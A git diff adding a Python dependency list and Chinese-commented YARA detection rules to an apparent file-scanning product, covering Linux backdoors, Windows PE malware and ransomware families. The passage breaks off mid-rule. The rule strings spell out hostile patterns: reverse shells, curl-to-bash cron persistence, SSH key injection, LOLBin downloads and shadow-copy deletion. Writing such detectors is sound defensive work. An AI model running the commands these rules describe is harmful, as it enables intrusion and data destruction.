a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..48d1a01 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,39 @@ +# ============================================================================= +# MeshSafe 生产部署依赖（Python 3.12 + Debian slim） +# ============================================================================= + +# Web 框架 +fastapi==0.115.6 +uvicorn[standard]==0.34.0 +python-multipart==0.0.20 +pydantic==2.10.5 +pydantic-settings==2.7.1 +jinja2==3.1.4 + +# 数据库 +sqlalchemy==2.0.37 +psycopg2-binary==2.9.10 + +# 缓存 / 限流（Redis，单机不可用时自动降级内存） +redis==5.2.1 + +# 安全 +cryptography==44.0.0 + +# 检测引擎 +oletools==0.60.2 +olefile>=0.47 +msoffcrypto-tool>=5.4.1 +pefile==2023.2.7 +yara-python==4.5.0 +pypdf==5.1.0 +python-magic==0.4.27 + +# 工具 +httpx==0.28.1 +requests==2.32.3 +PyYAML==6.0.2 +python-dateutil==2.9.0.post0 + +# 诊断套件 +docker==7.2.0 diff --git a/rules/linux.yar b/rules/linux.yar new file mode 100644 index 0000000..59374a0 --- /dev/null +++ b/rules/linux.yar @@ -0,0 +1,307 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— Linux / 跨平台后门专项（C7） +// ============================================================================= +// +// 设计原则： +// - 光闸摆渡场景，所有规则 2-3 特征组合命中，避免单一关键词误伤合法 Shell/Python 代码 +// - 覆盖范围：反弹 Shell、持久化（crontab/authorized_keys/systemd/LD_PRELOAD）、 +// Rootkit 特征、挖矿通用特征 +// - 命中后作为 finding 交给 PolicyEngine 权重累加 +// +// 维护： +// - 新后门工具/家族出现时优先补充 "工具名 + 持久化手段" 组合 +// ============================================================================= + + +// ============================================================================= +// C7-1 反弹 Shell（多种语言实现） +// ============================================================================= + +rule C7_Linux_ReverseShell_Bash { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1059.004 Bash" + description = "Bash 反弹 Shell 组合：/dev/tcp + bash -i 或 sh -c" + strings: + $devtcp = /\/dev\/tcp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii + $bash_i = "bash -i" ascii + $sh_c = /sh\s+-c\s+['"]bash -i/ ascii + $exec3 = "exec 3<>/dev/tcp/" ascii + $exec4 = "exec 4>&0 0>&1 1>&4" ascii + condition: + // /dev/tcp/IP:PORT + bash -i 这两个必须同时出现 + $devtcp and ($bash_i or $sh_c or $exec3) + or + // exec fd 重定向链 + $exec3 and $exec4 +} + +rule C7_Linux_ReverseShell_NC { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.004 Netcat" + description = "nc/ncat 反弹 Shell：-e/-c 参数指定 bash 或 sh" + strings: + $nc1 = /nc\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc2 = /ncat\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc3 = /nc\s+[\w.-]+\s+\d{2,5}\s+-c\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc4 = /netcat\s+[\w.-]+\s+\d{2,5}\s+-e/ ascii + $mkfifo = /mkfifo\s+\/tmp\/\w+;\s*(nc|ncat)\s+/ ascii + condition: + any of ($*) +} + +rule C7_Linux_ReverseShell_Python { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.006 Python" + description = "Python 反弹 Shell：socket + exec/bin/sh + pty" + strings: + $socket1 = "import socket" ascii + $socket2 = "socket.socket" ascii + $pty = "import pty" ascii + $sub = "import subprocess" ascii + $sh = /\/bin\/(ba)?sh/ ascii + $osdup2 = "os.dup2" ascii + $execv = "os.execv" ascii + condition: + // socket + pty + /bin/bash = 完整 Python pty 反弹 + ($socket1 or $socket2) and $pty and $sh + or + // socket + subprocess + /bin/sh + dup2 = 经典模式 + ($socket1 or $socket2) and $sub and $sh and $osdup2 + or + // socket + os.execv + /bin/bash + ($socket1 or $socket2) and $execv and $sh +} + +rule C7_Linux_ReverseShell_Perl { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.005 Perl" + description = "Perl 反弹 Shell：IO::Socket + exec + /bin/sh" + strings: + $iosocket = "IO::Socket::INET" ascii nocase + $socketvar = /\$s\s*=\s*IO::Socket/ ascii + $exec = /exec\s+['"]\/bin\/(ba)?sh['"]/ ascii + $open = /open\s*\(.*<&\$\{?s\}?/ ascii + $eval = /eval\s+reverse\s+['"]/ ascii + condition: + ($iosocket or $socketvar) and ($exec or $open or $eval) +} + +rule C7_Linux_ReverseShell_Socat { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1059.004 Socat" + description = "socat 反弹 Shell：TCP-LISTEN + EXEC:/bin/bash" + strings: + $socat1 = /socat\s+(TCP-LISTEN:\d{2,5},?\s*(reuseaddr|fork)?|TCP4:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})/ ascii + $socat2 = /EXEC:\/bin\/(ba)?sh/ ascii + $socat3 = /EXEC:'\/bin\/(ba)?sh'/ ascii + condition: + any of ($socat1*) and any of ($socat2, $socat3) +} + +rule C7_Linux_ReverseShell_Misc { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "多种语言反弹 Shell 通用特征" + description = "通用反弹 Shell 标记：/dev/tcp 或 /dev/udp 或 reverse shell 工具名" + strings: + $devudp = /\/dev\/udp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii + $bashc = /bash\s+-c\s+['"].*\/dev\/(tcp|udp)/ ascii + $dash_e = /\/bin\/bash\s+-e\s+['"]/ ascii + $hydra = /Hydra|crackmap|weevely|meterpreter|msfconsole|msfvenom/ ascii nocase + $reverseshell = /reverse[_\s]?shell|shell[_\s]?shock/ ascii nocase + condition: + any of ($devudp, $bashc, $dash_e) or any of ($hydra, $reverseshell) +} + + +// ============================================================================= +// C7-2 持久化 —— crontab / authorized_keys / systemd +// ============================================================================= + +rule C7_Linux_Persistence_Crontab { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1053.003 Cron" + description = "crontab 持久化：下载执行 + .bashrc 注入 + /tmp/.hidden 目录" + strings: + $crontab1 = /\*\s+\*\s+\*\s+\*\s+\*\s+(curl|wget)\s+['"]?https?:/ ascii + $crontab2 = /\*\s+\*\s+\*\s+\*\s+\*\s+(bash|sh)\s+\S+\s+['"]\/dev\/tcp/ ascii + $crontab3 = /crontab\s+-[lre]?\s+\/tmp\/\w+/ ascii + $bashrc = /\.bashrc|\.bash_profile|\.profile/ ascii + $wget = /wget\s+https?:/ ascii + $curl = /curl\s+.*\|\s*(bash|sh)/ ascii + $hidden = /\/tmp\/\.?\w+\s+&&/ ascii + condition: + any of ($crontab1, $crontab2, $crontab3) + or + $bashrc and ($wget or $curl) and $hidden +} + +rule C7_Linux_Persistence_AuthorizedKeys { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1098 SSH Authorized Keys" + description = "authorized_keys 写入：下载公钥 + 追加到 .ssh/authorized_keys + chmod 600" + strings: + $authkeys = /\.ssh\/authorized_keys/ ascii + $wgetkey = /wget\s+-O\s+.*authorized_keys/ ascii + $curlkey = /curl\s+.*authorized_keys/ ascii + $echokey = /echo\s+['"]ssh-(rsa|ecdsa|ed25519)/ ascii + $chmod = /chmod\s+\d{3,4}\s+\$\{?SSH_DIR\}?authorized_keys/ ascii + condition: + any of ($wgetkey, $curlkey, $echokey) or ($authkeys and any of ($wgetkey, $curlkey, $chmod)) +} + +rule C7_Linux_Persistence_SystemD { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1543.002 Systemd Service" + description = "恶意 systemd unit 文件：ExecStart 指向 /tmp/.hidden + multi-user.target + 反弹命令" + strings: + $unit = /\[Unit\]/ ascii + $service = /\[Service\]/ ascii + $install = /\[Install\]/ ascii + $execstart = /ExecStart=/ ascii + $multiuser = /multi-user\.target/ ascii + $hiddenpath = /\/tmp\/\.?\w+|\/var\/tmp\/\.?\w+/ ascii + $bashsh = /\/bin\/(ba)?sh\s+-c/ ascii + condition: + // 完整 unit 片段 + 可疑路径 + $unit and $service and $execstart and ($hiddenpath or $bashsh) + or + // Install multi-user.target + ExecStart 反弹 + $install and $multiuser and any of ($execstart, $bashsh) +} + +rule C7_Linux_Persistence_LD_PRELOAD { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1574.006 LD_PRELOAD" + description = "LD_PRELOAD 劫持：环境变量注入 + .so 文件 + dlopen" + strings: + $ldpreload = /LD_PRELOAD=/ ascii + $sofile = /\.so(\.\d+)?:?/ ascii + $dlopen = "dlopen" ascii + $dlsym = "dlsym" ascii + $exportenv = /export\s+LD_PRELOAD/ ascii + condition: + ($ldpreload or $exportenv) and ($sofile or $dlopen or $dlsym) +} + + +// ============================================================================= +// C7-3 Rootkit + 挖矿通用特征 +// ============================================================================= + +rule C7_Linux_Rootkit_KernelModule { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1547.006 Kernel Modules and Extensions" + description = "内核模块加载：insmod/modprobe + .ko + /proc/kallsyms 隐藏" + strings: + $insmod = /insmod\s+.*\.ko/ ascii + $modprobe = /modprobe\s+.*\.ko/ ascii + $ko = /\.ko(\.xz|\.gz)?\b/ ascii + $hiddenproc = /hide_process_from_dcache|hide_module/ ascii + $proc = /\/proc\/kallsyms|\/proc\/modules/ ascii + $netstat = /\/proc\/net\/tcp|\/proc\/net\/udp/ ascii + condition: + any of ($insmod, $modprobe) and any of ($ko, $hiddenproc) + or + any of ($hiddenproc) and any of ($proc, $netstat) +} + +rule C7_Linux_Miner_Generic { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1496 Resource Hijacking" + description = "挖矿通用特征：stratum+tcp 协议 + 非标准端口(3333/5555/8080)" + strings: + $stratum = "stratum+tcp://" ascii + $stratums = "stratum+ssl://" ascii + $pool = /pool\.(xmr|mine|nanopool|coin|mining)/ ascii nocase + $port3333 = /:\s*3333\b/ ascii + $port5555 = /:\s*5555\b/ ascii + $highcpu = /nice\s+-n\s+[+-]?\d+|cpulimit\s+-l/ ascii + condition: + any of ($stratum, $stratums, $pool) and any of ($port3333, $port5555) + or + any of ($stratum, $stratums) and $highcpu +} + + +// ============================================================================= +// C7-4 跨平台后门：Ruby + Lua + Node.js +// ============================================================================= + +rule C7_Misc_Ruby_Lua_ReverseShell { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "多语言反弹 Shell" + description = "Ruby/Lua 反弹 Shell：TCPSocket + exec/system" + strings: + $ruby = "TCPSocket" ascii + $lua = "loadstring" ascii + $lua2 = "luasocket" ascii + $exec = /(exec|system|IO\.popen)\s+.*\/bin\/(ba)?sh/ ascii + condition: + any of ($ruby, $lua, $lua2) and ($exec or any of ($ruby, $lua, $lua2)) +} + + +// ============================================================================= +// C7-5 网络投毒 / MITM 工具（内网横向移动） +// ============================================================================= + +rule C7_Network_Tools_Malicious { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "内网攻击工具" + description = "内网攻击工具：ettercap/responder/nmap 扫描 + SMB/DNS 投毒" + strings: + $ettercap = "ettercap" ascii nocase + $responder = /responder(\.py)?/ ascii nocase + $nmap = "nmap" ascii nocase + $smb = /--smb/ ascii + $ms17 = "ms17-010" ascii nocase + $smbghost = "SMBGhost" ascii nocase + $dnsspoof = /dns[-_]spoof|dns[-_]mitm/ ascii nocase + $arppoison = /arp[-_]poison|arp[-_]spoof/ ascii nocase + condition: + any of ($ettercap, $responder, $dnsspoof, $arppoison) + or + $nmap and ($smb or $ms17 or $smbghost) +} diff --git a/rules/pe.yar b/rules/pe.yar new file mode 100644 index 0000000..d0145c2 --- /dev/null +++ b/rules/pe.yar @@ -0,0 +1,403 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— Windows PE 恶意程序专项（C1 + C8） +// ============================================================================= +// +// 设计原则： +// - 所有规则使用 2-3 特征组合命中（API 组合 + C2 URL + Mutex 持久化等） +// - binary.py 的 PE 结构分析负责：节熵 + 签名 + 可疑导入（单 API） +// - YARA 负责：多 API 组合 + 字符串组合 + 壳 + 勒索专项 +// - 命中后作为 finding 交给 PolicyEngine 权重累加，不直接零容忍 +// +// 范围： +// - C1: Windows PE 恶意程序（注入器 / 下载器 / RAT / Loader） +// - C8: 勒索 / 挖矿专项 +// - C9: 壳 / 签名 / 结构异常（binary.py 已覆盖大部分，YARA 补充壳特征） +// +// 维护： +// - 新恶意家族出现时，优先补充"API 组合 + Mutex 名 + C2 URL"三件套 +// - 壳特征（UPX/Themida/VMP）可识别后自动送沙箱深检 +// ============================================================================= + + +// ============================================================================= +// C1-1 进程注入三件套（VirtualAllocEx + WriteProcessMemory + CreateRemoteThread） +// binary.py 扫了 SuspiciousImports（单个 API），但 3 个同时出现 = 必然是注入器 +// ============================================================================= + +rule C1_PE_ProcessInjection { + meta: + risk_level = "critical" + category = "C1" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1055 Process Injection" + description = "PE 文件同时导入 进程注入三件套 API = 远控/注入器特征" + strings: + $s1 = "VirtualAllocEx" ascii + $s2 = "WriteProcessMemory" ascii + $s3 = "CreateRemoteThread" ascii + // 备选：Nt 系列（NtUnmapViewOfSection + VirtualAllocEx + CreateRemoteThread） + $n1 = "NtUnmapViewOfSection" ascii + $n2 = "NtMapViewOfSection" ascii + $n3 = "ZwUnmapViewOfSection" ascii + // 也可能是 QueueUserAPC 注 APC 注入 + $apc = "QueueUserAPC" ascii + // 或 SetWindowsHookEx DLL 注入 + $hook = "SetWindowsHookEx" ascii + condition: + // 经典三件套（必须同时命中） + $s1 and $s2 and $s3 + or + // Nt 系列内存注入（至少 2 个 Nt + 1 个注入） + (any of ($n1, $n2, $n3) and any of ($s1, $s3, $apc)) + or + // APC 注入 + VirtualAllocEx + $apc and $s1 + or + // Hook DLL 注入 + $hook and $s1 +} + + +// ============================================================================= +// C1-2 下载器组合（网络 API + 本地持久化 / 执行） +// 单一 URLDownloadToFile 不致命，但 "下载 + 执行 + 持久化" 三件套 = Loader +// ============================================================================= + +rule C1_PE_Downloader_Loader { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1105 Ingress Tool Transfer" + description = "下载器组合：HTTP/FTP 下载 + 写入到可疑路径 + 执行" + strings: + // 网络下载 API（任选其一） + $net1 = "URLDownloadToFile" ascii + $net2 = "InternetOpenUrl" ascii + $net3 = "WinHttpOpen" ascii + $net4 = "WinHttpOpenRequest" ascii + $net5 = "FtpOpenFile" ascii + $net6 = "DownloadFile" ascii + $net7 = "WinHttpSendRequest" ascii + + // 写入/保存到本地 + $save1 = "WriteFile" ascii + $save2 = "SaveToFile" ascii + $save3 = "URLDownloadToCacheFile" ascii + + // 执行下载的载荷 + $exec1 = "WinExec" ascii + $exec2 = "CreateProcess" ascii + $exec3 = "ShellExecute" ascii + $exec4 = "CreateRemoteThread" ascii + + // 持久化（注册表/启动项） + $persist1 = "RegSetValueEx" ascii + $persist2 = "SetServiceObjectSecurity" ascii + $persist3 = "CreateService" ascii + $persist4 = "schtasks.exe" ascii + $persist5 = "RUN" ascii // HKCU\Software\Microsoft\Windows\CurrentVersion\Run + condition: + // 下载 + 保存 + 执行（三件套） + any of ($net*) and any of ($save*) and any of ($exec*) + or + // 下载 + 持久化（即使没执行也是准备投毒） + any of ($net*) and any of ($persist*) + or + // 执行 + 持久化（下载可能在运行时动态完成） + any of ($exec1, $exec2, $exec3) and any of ($persist*) +} + + +// ============================================================================= +// C1-3 RAT / 远控特征（C2 通信 + 命令执行 + 持久化） +// ============================================================================= + +rule C1_PE_RAT_CommandControl { + meta: + risk_level = "critical" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1071 Application Layer Protocol" + description = "RAT C2 通信特征：WinHTTP/WSASend + 命令执行 API + 可疑 URL/域名" + strings: + // C2 网络通道 + $c2_send = /WSASend|send\s*\(|sendto|WinHttpSendRequest|InternetWriteFile/ ascii + $c2_recv = /WSARecv|recv\s*\(|recvfrom|WinHttpReadData|InternetReadFile/ ascii + $c2_connect = /WSAConnect|connect\s*\(|WinHttpConnect|InternetConnect/ ascii + + // 命令执行 + $cmd = /CreateProcess|ShellExecute|WinExec|system\s*\(|popen/ ascii + + // 可疑 C2 URL（可执行文件里出现 http://...exe 或常见 C2 域名） + $c2url1 = /http:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}/ ascii + $c2url2 = /https?:\/\/[^\"\s'\)]+\.(ru|top|xyz|tk|ml|ga|gq|cf|pw|click|stream|xyz|buzz|loan)\/[^\"\s'\)]*\.exe/ ascii + $c2url3 = /(c2|panel|gate|bot|ops|serv|beacon|stage|stager)\.(ru|top|xyz|cc|io|com|net)/ ascii + condition: + // C2 通信 + 命令执行（至少两个网络 + 一个命令） + any of ($c2_send, $c2_recv, $c2_connect) and any of ($cmd*) and any of ($c2url*) + or + // C2 URL 模式 + 网络 API + any of ($c2url*) and any of ($c2_connect, $c2_send) +} + + +// ============================================================================= +// C1-4 Mutex 互斥体名（勒索 / RAT / Loader 的持久化标记） +// 单一 Mutex 名有一定价值，但必须配合其他特征才触发 +// ============================================================================= + +rule C1_PE_Mutex_Persistence { + meta: + risk_level = "medium" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1057 Process Discovery (mutex as persistence marker)" + description = "可疑 Mutex 名称 + CreateMutex API = 持久化标记" + strings: + $createmutex = "CreateMutexA" ascii + $createmutexw = "CreateMutexW" ascii + // 常见勒索/RAT Mutex 名（大小写不敏感，含 Unicode 变体用 wide） + // LockBit + $lockbit1 = /Global\\[Ll]ock[Bb]it/ ascii + $lockbit2 = /Local\\[Ll]ock[Bb]it/ ascii + // BlackCat / ALPHV + $blackcat = /Global\\[Bb]lack[Cc]at|[Aa][Ll][Pp][Hh][Vv]/ ascii + // Ryuk + $ryuk = /RyukTask[\d]|Global\\Ryuk/ ascii + // Conti + $conti = /Global\\[Cc]onti|Local\\[Cc]onti/ ascii + // Pseudo/Dharma + $dharma = /Global\\[Dd]harma|Local\\[Dd]harma/ ascii + // 通用可疑模式：Mutex 名包含 "Mutex" + UUID 变体 + $generic1 = /Global\\Mutex[0-9a-f]{8}/ ascii + // Kryptik/Qakbot + $qakbot = /[Qq]akbot|[Kk]ryptik/ ascii + // Cobalt Strike named pipe + $cs1 = /\\\\\.\\pipe\\msagent_[0-9a-f]+/ ascii + $cs2 = /\\\\\.\\pipe\\[Bb]eacon_[0-9a-f]+/ ascii + condition: + // CreateMutex + 已知家族 Mutex 名 + (any of ($createmutex*)) and any of ($lockbit1, $lockbit2, $blackcat, $ryuk, $conti, $dharma, $qakbot) + or + // Cobalt Strike 命名管道特征（不需要 CreateMutex） + any of ($cs*) + or + // CreateMutex + 通用可疑 UUID Mutex + (any of ($createmutex*)) and $generic1 +} + + +// ============================================================================= +// C1-5 DLL 劫持 / LoadLibrary 动态加载 +// ============================================================================= + +rule C1_PE_DLLHijacking { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1574 Hijack Execution Flow" + description = "PE 动态加载多个系统 DLL + 非系统路径 = DLL 劫持迹象" + strings: + $loadlib = "LoadLibraryA" ascii + $loadlibw = "LoadLibraryW" ascii + $getproc = "GetProcAddress" ascii + // 可疑加载路径（非 System32） + $path1 = /\\Users\\[^\\]+\\AppData\\Local\\Temp/ ascii + $path2 = /\\AppData\\Local\\Temp/ ascii + $path3 = /\\ProgramData\\/ ascii + $path4 = /\\Public\\Documents\\/ ascii + condition: + // LoadLibrary + 可疑路径 + GetProcAddress = 完整劫持链 + (any of ($loadlib*)) and any of ($path*) and $getproc + or + // LoadLibrary + 多个可疑路径 + (any of ($loadlib*)) and 2 of ($path*) +} + + +// ============================================================================= +// C1-6 LOLBin（Living Off The Land Binary）调用特征 +// 已知合法 Windows 二进制被恶意利用来执行命令 +// ============================================================================= + +rule C1_PE_LOLBin_Usage { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "low" + reference = "https://lolbas-project.github.io/" + description = "PE 文件中出现 LOLBin 调用：certutil / mshta / rundll32 / regsvr32 / bitsadmin / wmic / msiexec" + strings: + $certutil = /certutil(\.exe)?\s+(-urlcache|-decode|-encode|-hashfile)/ ascii + $mshta = /mshta(\.exe)?\s+(https?:|javascript:|vbscript:)/ ascii + $rundll32 = /rundll32(\.exe)?\s+[A-Za-z0-9_.]+,/ ascii + $regsvr32 = /regsvr32(\.exe)?\s+\/s\s+\/u/ ascii + $bitsadmin = /bitsadmin(\.exe)?\s+(\/transfer|\/create)/ ascii + $wmic = /wmic(\.exe)?\s+(process\s+call\s+create|product\s+call)/ ascii + $msiexec = /msiexec(\.exe)?\s+\/[ia]\s+https?:/ ascii + $installutil = /installutil(\.exe)?\s+\/u\s+\/logfile=/ ascii + $syncapp = /syncapp(\.exe)?\s+\/compattrack/ ascii + $psexec = /psexec(\.exe)?\s+(-accepteula|-i\s+\d+|-w\s+https?:)/ ascii + // 命令执行 API（用于组合条件） + $exec1 = "CreateProcess" ascii + $exec2 = "ShellExecute" ascii + $exec3 = "WinExec" ascii + condition: + // 至少 1 个 LOLBin 调用 + 命令执行 API + any of ($certutil*, $mshta*, $rundll32*, $regsvr32*, $bitsadmin*, $wmic*, $msiexec*, $installutil*, $syncapp*, $psexec*) + and any of ($exec*) +} + + +// ============================================================================= +// C8-1 勒索加密 API 组合（CryptEncrypt + BCrypt* + 文件遍历 + 删除卷影） +// ============================================================================= + +rule C8_Ransomware_Encryption { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1486 Data Encrypted for Impact" + description = "勒索加密链：CryptEncrypt/BCryptEncrypt + 大量文件遍历 + 卷影删除 = 勒索" + strings: + // 加密 API（至少出现两个） + $enc1 = "CryptEncrypt" ascii + $enc2 = "CryptDeriveKey" ascii + $enc3 = "BCryptEncrypt" ascii + $enc4 = "BCryptDeriveKeyPair" ascii + $enc5 = "CryptGenKey" ascii + + // 文件遍历（全盘加密需要） + $enum1 = "FindFirstFileA" ascii + $enum2 = "FindFirstFileW" ascii + $enum3 = "FindNextFileA" ascii + $enum4 = "FindNextFileW" ascii + + // 卷影删除（勒索前置） + $vss1 = "vssadmin" ascii + $vss2 = "delete shadows" ascii + $vss3 = "DeleteShadowCopies" ascii + $vss4 = "wmic" ascii + + // 勒索信文件名变体（出现在二进制里） + $ransomnote1 = /(HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README|HELP_DECRYPT|_readme|_restore)[\w.-]*\.(txt|html|png|jpg|bmp|url)/ nocase + $ransomnote2 = /\.(locky|zepto|cryptolocker|tor|crpt|encrypted|virus|wallet|pay2)/ nocase + $ransomnote3 = /bitcoin|bitcash|monero|ltc|BTC\b/ ascii + condition: + // 加密 API + 文件遍历 = 加密工具（必须至少 2 个加密 API） + (2 of ($enc*)) and any of ($enum*) + or + // 加密 API + 卷影删除 = 完整勒索 + (any of ($enc*)) and any of ($vss*) + or + // 加密 API + 勒索信 + 加密文件扩展名 = 明确勒索 + (any of ($enc*)) and (any of ($ransomnote1, $ransomnote2)) and $ransomnote3 +} + + +// ============================================================================= +// C8-2 挖矿（xmrig / stratum+tcp / 矿池域名） +// ============================================================================= + +rule C8_Mining_Monero { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1496 Resource Hijacking" + description = "挖矿程序特征：xmrig 命令行参数 / stratum+tcp / 矿池域名" + strings: + // xmrig 命令行特征 + $xmrig1 = "xmrig" ascii nocase + $xmrig2 = /--donate-level\s+\d+/ ascii + $xmrig3 = /-o\s+stratum\+tcp/ ascii + $xmrig4 = /--cpu-priority\s+\d/ ascii + $xmrig5 = /--max-threads-hint/ ascii + + // 矿池域名（Monero） + $pool1 = "pool.xmrig.com" ascii nocase + $pool2 = "pool.minexmr.com" ascii nocase + $pool3 = "pool.supportxmr.com" ascii nocase + $pool4 = "mine.moneropool.com" ascii nocase + $pool5 = "stratum+tcp://" ascii + + // CPU 高占用循环特征 + $loop = /(while|for)\s*\(\s*\d+\s*[<>=]/ ascii + $thread = "CreateThread" ascii + condition: + // 至少 2 个 xmrig 特征 + (any of ($xmrig1, $xmrig2, $xmrig3, $xmrig4, $xmrig5)) and 2 of ($*) + or + // stratum+tcp 矿池协议 + 多个线程创建 + $pool5 and ($thread or 2 of ($xmrig*)) +} + + +// ============================================================================= +// C9 壳特征（UPX / Themida / VMProtect / Enigma） +// 壳识别后建议升级到 L3 沙箱深检，不单独阻断 +// ============================================================================= + +rule C9_Packer_UPX { + meta: + risk_level = "medium" + category = "C9" + false_positive_rate = "low" + reference = "UPX Packer" + description = "UPX 加壳 PE：节名 UPX0 / UPX1 + UPX 签名" + strings: + $upx0 = "UPX0" ascii + $upx1 = "UPX1" ascii + $upx2 = "UPX!" ascii + $upx3 = /UPX\s+\d+\.\d+/ ascii // "UPX 3.96" 这类版本字符串 + $upx4 = /UPX\b/ ascii + condition: + // 节名（两个）+ 签名 + ($upx0 and $upx1) or ($upx2 and any of ($upx3, $upx4)) +} + +rule C9_Packer_Themida_VMP { + meta: + risk_level = "medium" + category = "C9" + false_positive_rate = "low" + reference = "Themida / VMProtect" + description = "商业壳特征：Themida / VMProtect 产品标识字符串" + strings: + $themida1 = "Themida" ascii wide + $themida2 = "WinLicense" ascii wide + $themida3 = "Oreans" ascii wide + $vmp1 = "VMProtect" ascii wide + $vmp3 = "VMProtect SDK" ascii wide + condition: + any of ($themida*) or any of ($vmp*) +} + + +// ============================================================================= +// C1-7 PE 高熵 + 大量网络 API（疑似加壳下载器） +// binary.py 的 HighEntropySection 已单独扫描，但 YARA 看"熵 + 网络"组合 +// ============================================================================= + +rule C1_PE_EntropyHighNetwork { + meta: + risk_level = "medium" + category = "C1" + false_positive_rate = "medium" + reference = "binary.py HighEntropySection 联动" + description = "PE 同时出现：多个网络 API + 加壳特征（熵高） + 无签名" + strings: + $net1 = "InternetOpenUrl" ascii + $net2 = "WinHttpOpen" ascii + $net3 = "URLDownloadToFile" ascii + $net4 = "WSAConnect" ascii + // 壳特征 + $upx = "UPX0" ascii + $themida = "Themida" ascii + condition: + // 网络 API + 壳特征 = 加壳下载器 + any of ($net*) and ($upx or $themida) +} diff --git a/rules/ransom.yar b/rules/ransom.yar new file mode 100644 index 0000000..ae9c6da --- /dev/null +++ b/rules/ransom.yar @@ -0,0 +1,210 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— 勒索 / 挖矿专项（C8，剩余家族） +// ============================================================================= +// +// 设计原则： +// - C8_Ransomware_Encryption 在 pe.yar 里已经覆盖了"加密 API + 卷影删除 + 勒索信"通用链 +// - 本文件补充：具体家族特征（LockBit/BlackCat/Conti/Ryuk/Pseudo）+ +// 文件扩展名黑名单变体 + 勒索信文件名模式 +// - 必须满足"加密 API 组合 + 家族特征"才触发，单靠扩展名不触发 +// +// 元数据规范：同 webshell.yar / pe.yar（risk_level, category, false_positive_rate） +// ============================================================================= + + +// ============================================================================= +// C8-1 LockBit 家族 +// ============================================================================= + +rule C8_Ransomware_LockBit { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "LockBit / BitLocker 勒索家族" + description = "LockBit 家族特征：Mutex 名 + .lockbit3/.lockbit 扩展名 + CryptEncrypt" + strings: + $mutex1 = /Global\\[Ll]ock[Bb]it/ ascii + $mutex2 = /Local\\[Ll]ock[Bb]it/ ascii + $mutex3 = /LockBit[\d_]/ ascii nocase + $ext1 = /\.lockbit3?\b/ ascii nocase + $ext2 = /\.lckbt\b/ ascii nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptGenKey/ ascii + $ransomnote = /README[\d_-]*\.(html|txt|bmp|png|jpg|url)/ nocase + condition: + // Mutex + 加密 API（家族识别核心） + any of ($mutex*) and any of ($enc*) + or + // Mutex + 勒索扩展名 + any of ($mutex*) and any of ($ext*) + or + // 加密 API + 家族扩展名 + 勒索信 + any of ($enc*) and any of ($ext*) and $ransomnote +} + + +// ============================================================================= +// C8-2 BlackCat / ALPHV 家族 +// ============================================================================= + +rule C8_Ransomware_BlackCat { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "BlackCat (ALPHV) 勒索家族" + description = "BlackCat/ALPHV：Mutex + .blackcat/.bc1 扩展名 + Rust 字符串特征" + strings: + $mutex1 = /Global\\[Bb]lack[Cc]at/ ascii + $mutex2 = /[Aa][Ll][Pp][Hh][Vv]/ ascii + $ext1 = /\.blackcat\b/ ascii nocase + $ext2 = /\.bc1?\b/ ascii nocase + $rust1 = "rustc" ascii + $rust2 = "/rustc/" ascii + $enc = /CryptEncrypt|BCryptEncrypt/ ascii + $note = /BlackCat.*README|how_to_decrypt|restore_files/ ascii nocase + condition: + any of ($mutex1, $mutex2) and any of ($enc*, $ext*) + or + any of ($ext*) and any of ($rust*) and $note +} + + +// ============================================================================= +// C8-3 Conti 家族 +// ============================================================================= + +rule C8_Ransomware_Conti { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "Conti 勒索家族" + description = "Conti：Mutex + .conti 扩展名 + 加密 API" + strings: + $mutex1 = /Global\\[Cc]onti/ ascii + $mutex2 = 